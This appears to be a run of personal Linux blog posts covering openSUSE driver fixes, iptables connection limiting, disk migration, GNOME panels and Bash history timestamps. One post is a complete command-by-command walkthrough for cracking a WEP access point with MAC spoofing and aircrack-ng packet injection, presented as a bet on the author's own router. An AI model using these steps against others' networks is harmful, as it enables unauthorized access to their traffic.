I came across an odd issue today with the Official NVIDIA Drivers on openSUSE. After updating the drivers, my external monitor would keep flickering and flashing regardless of the connection used (DVI or VGA).

Unfortunately, the repo doesn’t keep old versions of the drivers, so I wasn’t able to revert back to a good, known configuration and no one else seems to have this problem – as I doubt many people are running openSUSE on a MacBook Pro with the GeForce 9400M GPU.

The workaround is rather simple. Open up a shell, su up and run nvidia-settings. Go into PowerMizer and set the “Preferred Mode” to Prefer Maximum Preformance as per the screenshot below. Bingo, problem solved.

I recently re-discovered sysv-rc-conf. sysv-rc-conf is a lovely interface to view the runlevels of services in the the /etc/init.d/ directory via ncurses.

sysv-rc-conf is available in the Ubuntu and Debian repos, but sadly not available for openSUSE:

apt-get install sysv-rc-conf

Debian, as well as most of the distributions based on it, like early Ubuntu, does not make any distinction between runlevels 2 to 5.

Say you have a server that is currently under very heavy load. Thankfully you’ve already had a shell open, but the load is so high, even a quick check of the load takes 5 minutes.

This is where the & is your friend. This single character will fork the process in the background, allowing it to be run at the CPU’s convenience.

Say this load is caused by multiple HTTP requests (tens of thousands) to your server, from a few IP addresses. One can use IPTables to drop a huge chunk of the packets from those IP addresses – mitigating the risk.

The following will limit all IP addresses to ten connection limit on port 80. This is, of course, if sudo still works – often times under high load sudo’ing up will break at checking if you’re in the sudoers list. In that case use su instead.

 sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 10 -j REJECT --reject-with tcp-reset &

Now you can stop Apache, and give yourself some breathing room.

There are a few things wrong with this.

1. $1100 for a “Bread and Butter” machine
2. She should have made sure before ordering that the laptop had Windows.
3. She could simply change operating systems
4. Dell has a policy of shipping Linux to REDUCE costs. Every Dell purchase order clearly gives you the option of what OS you want. She decided on Linux (not Dell).
5. She bought a computer with the “wrong OS”… big deal, that shouldn’t have stopped her from going to college – it’s just a lazy excuse.
6. Ubuntu, and Linux in general, is painted in a very bad light by the news crew as “incompatible” and “useless”

I had a bet with a friend of mine (for a case of beer) that I could crack a fake WEP encrypted access point in under 5 minutes using my rather old Packard Bell Easynote Skype Edition.

There are a few things to note, I used an old WEP only router that I was about to dump. I never saw the password and couldn’t ask for hints. I also found out that my piece of shit laptop can’t be booted from a DVD, hence having to use Backtrack 3 instead of Backtrack 5.

After Backtrack 3 was downloaded, burnt to disk, booted up and a shell opened.

The drivers loaded automagically are the wrong ones. If you have the Easynote Skype edition, you’ll notice this as the WiFi light on the Wifi button fails to come on.

Unload the wireless drivers

modprobe -r iwl3945

Load in the correct drivers

modprobe ipwraw

Stop the Wireless card

airmon-ng stop wifi0
ifconfig wifi0 down

Change the MAC address

macchanger --mac 00:11:22:33:44:55 wifi0

Start up Airmon, to monitor the AP in the area

airmon-ng wifi0

After finding the access point, and noting it’s BSSID and Channel

airodump-ng -c CHANNEL_NUMBER -w FILE.OUT --bssid BSSID_HERE wifi0

Open up a new terminal, leaving airodump to run in Terminal 1.

Inject some fake packets on Terminal 2

aireplay-ng -1 0 -b BSSID_HERE -h 00:11:22:33:44:55 wifi0

Airodump’s #Data column should start filling up. When it gets to about 100, kill the injection.

In Terminal 2, we’ll replay the packets we faked earlier

aireplay-ng -3 -b BSSID_HERE -h 00:11:22:33:44:55 wifi0

You should now see the # Data shoot up! Leave it run until #Data reaches about 50k. Close Terminal 2 and kill airodump in Terminal 1.

aircrack-ng -b BSSID_HERE FILE.OUT.cap

After about 15 seconds, you should have the wireless password.

Since upgrading to openSUSE 11.4, I’ve been getting warnings about the hard drive dying – Thank you SMART disk monitoring! I’ve customized my openSUSE install a fair bit, and really didn’t want to setup everything again. Here’s what I did.

• Ordered new hard drive and waited for it to arrive
• Did a package dump with zypper

rpm -qa --queryformat '%{name}\n' > package_list.txt

• Removed the dodgy hard drive and installed the new hard drive
• Ran the openSUSE 11.4 installer and installed the base
• Booted up the new system
• Attached the old hard drive via a PATA to USB connector
• Brought up a terminal and moved the files across

su

cd /home

mv USERNAME USERNAME-bak

cd /media/EXTERNAL-HARDDRIVE/home

cp -prf  USERNAME/ /home/

• While the files were being moved over I setup the external repositories again
• Open a new terminal and go into the correct folder for the package dump list

zypper in $(cat package_list.txt)

• Sit back and wait for the packages to be rebuilt, and the files to move over.
• When the files have been moved over, the ownerships need to be changed.

cd /home/

chown USERNAME.users USERNAME/

cd USERNAME/

find . -user root -exec chown USERNAME.users {} \;

• Now if you logout and log back in, your system should be pretty much the same way it was before you had to move drives.

Why, I hear you ask, should I bother doing all this?

1. You get all the packages you used to use from repos (non repo packages need to be installed manually)
2. Your Evolution emails don’t need to be reimported from the server
3. Bookmarks, saved passwords and tabs are exactly the way you left them for FireFox and Chrome
4. Pidgin will have all your settings
5. Your keyring, including all the wireless passwords, are exactly the same.
6. Desktop alterations such as locations of panels, background, screensaver, etc, are exactly the same
7. I’m lazy and didn’t want to setup everything again

I was recently trying to get a dual monitor setup while on campus in NUIG for a few days. While the setup was perfectly cromulent, with the mouse moving between windows and the “look and feel” the way I wanted it, showing the task bar on the “left” or external screen proved tricky. It’s not shown by default, but there is a way of doing it.

• Click on the empty task bar down the bottom
• Add a new panel
• Holt down the alt key and drag the panel to the new screen
• Right click the blank panel
• Click “Add to panel”
• Select “Window list”
• Add and close

You now have a task bar on the bottom, with all the windows open on that monitor. Add in the Traditional Gnome menu and any other enhancements you want – such as the “Show Desktop” icon, and you’re sorted.

One of the annoyances of Bash, is that searching through your history has no context. When did I last run that command? What commands were run at 3am, while on the lock?

The following, single line, run in the shell, will provide date and time stamping for your Bash History the next time you login, or run bash.

echo 'export HISTTIMEFORMAT="%h/%d - %H:%M:%S "' >> ~/.bashrc